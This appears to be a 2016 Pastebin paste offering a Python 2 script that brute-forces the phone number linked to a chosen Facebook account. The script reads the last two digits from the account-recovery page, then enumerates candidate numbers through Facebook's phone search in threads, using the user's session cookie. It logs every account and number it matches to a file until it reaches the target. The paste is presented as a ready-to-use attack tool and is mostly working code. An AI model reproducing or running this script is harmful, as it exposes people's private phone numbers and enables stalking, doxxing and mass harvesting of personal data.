Advertisement
Guest User

Toolbase .me

a guest
May 9th, 2016
3,243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.94 KB | None | 0 0
  1. Facebook - Account's Phone Number Brute-Force
  2.  
  3. Affected ver facebook.com
  4. &
  5. m.facebook.com
  6. Tested on facebook.com & m.facebook.com
  7.  
  8. Description:
  9. Brute Forces Any Facebook Account's Phone Number if it Got a Linked Phone # in it.
  10. + Saves All Acounts with their Phone Number Until it Reaches Targets Phone Number
  11. its a 2 in 1 Tool
  12. Usage info:
  13. You Should Only Know The Country Code of The Target and You Should Own a Facebook Account
  14. 1.Country Code=> US (+1) , Greece (+30) ... etc
  15. 2.Facebook Account
  16. The Tool Runs Threads For Speed Purposes
  17.  
  18.  
  19. Secret Code:
  20.  
  21. import urllib2
  22. import re
  23. import threading
  24. import sys
  25.  
  26.  
  27. manual_cookie = raw_input("Get Cookie From https://m.facebook.com/login/identify?ctx=recover After Submitting Your Target: ");
  28. user = raw_input("Username: ")
  29. a = urllib2.build_opener()
  30. a.addheaders.append(('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0'))
  31. a.addheaders.append(('Cookie',manual_cookie))
  32. cop = a.open("http://m.facebook.com/login/identify?ctx=recover","ctx=recover&email="+user).read()
  33. lasttwonumbers = re.findall('<ul style="margin:0px"><li>(.*?)</li></ul>',cop)
  34. print "Last 2 #s of Target's Phone: "+lasttwonumbers[0][-2:]
  35.  
  36. cc = raw_input("Country Code: ")
  37. nb_bt = raw_input("#s Between Country Code & Last 2 #s: ")
  38.  
  39. file_save = open('out.txt','a')
  40. opener = urllib2.build_opener()
  41. url = 'http://www.facebook.com/search/more?q=%2B'
  42. zeroz = 0
  43. manual_cookie = raw_input("Logged in Full Facebook Cookie: ")
  44. print "[+] Threads are Set To Default To 5\n[+] Bruting Started"
  45.  
  46.  
  47. def brute(manual_cookie,number):
  48. page = url + number
  49. opener.addheaders.append(('Cookie', manual_cookie))
  50. get = opener.open(page)
  51. html = get.read()
  52. acc = re.findall('<div class="_zs fwb" data-bt="&#123;&quot;ct&quot;:&quot;title&quot;&#125;"><a .*>(.*)<span class="_138">.*</span></a><span class="_5dgp">.*</span></div>', html)
  53. accc = re.findall('<div class="_zs fwb" data-bt="&#123;&quot;ct&quot;:&quot;title&quot;&#125;"><a .*>(.*)</a><span class="_5dgp">.*</span></div>', html)
  54. if acc:
  55. if re.findall(user, html):
  56. print "\nTarget's Mobile #:\n[+] " + acc[0] + " => +" + str(number) + "\n"
  57. file_save.write("\nTarget's Mobile #:\n[+] " + acc[0] + " => +" + str(number) + "\n\n\n")
  58. print "Good Luck"
  59. sys.exit()
  60. else:
  61. print "[+] " + acc[0] + " => +" + str(number)
  62. file_save.write("[+] " + acc[0] + " => +" + str(number) + "\n")
  63. elif accc:
  64. if re.findall(user, html):
  65. print "\nTarget's Mobile #:\n[+] " + accc[0] + " => +" + str(number) + "\n"
  66. file_save.write("\nTarget's Mobile #:\n[+] " + accc[0] + " => +" + str(number) + "\n\n\n")
  67. print "Good Luck"
  68. sys.exit()
  69. else:
  70. print "[+] " + accc[0] + " => +" + str(number)
  71. file_save.write("[+] " + accc[0] + " => +" + str(number) + "\n")
  72.  
  73. else:
  74. print "[-] => +" + str(number)
  75.  
  76.  
  77. while int(len(str(zeroz))) < int(nb_bt)+1:
  78. number = str(cc)+str('%0*d' % (int(nb_bt), zeroz))+str(lasttwonumbers[0][-2:])
  79. t=threading.Thread(target=brute,args=(manual_cookie,number,))
  80. number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+1))+str(lasttwonumbers[0][-2:])
  81. to=threading.Thread(target=brute,args=(manual_cookie,number,))
  82. number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+2))+str(lasttwonumbers[0][-2:])
  83. tt=threading.Thread(target=brute,args=(manual_cookie,number,))
  84. number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+3))+str(lasttwonumbers[0][-2:])
  85. tth=threading.Thread(target=brute,args=(manual_cookie,number,))
  86. number = str(cc)+str('%0*d' % (int(nb_bt), zeroz+4))+str(lasttwonumbers[0][-2:])
  87. tf=threading.Thread(target=brute,args=(manual_cookie,number,))
  88. t.start()
  89. to.start()
  90. tt.start()
  91. tth.start()
  92. tf.start()
  93. t.join()
  94. to.join()
  95. tt.join()
  96. tth.join()
  97. tf.join()
  98. zeroz += 5
  99. while 1:
  100. break
  101.  
  102.  
  103. file_save.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement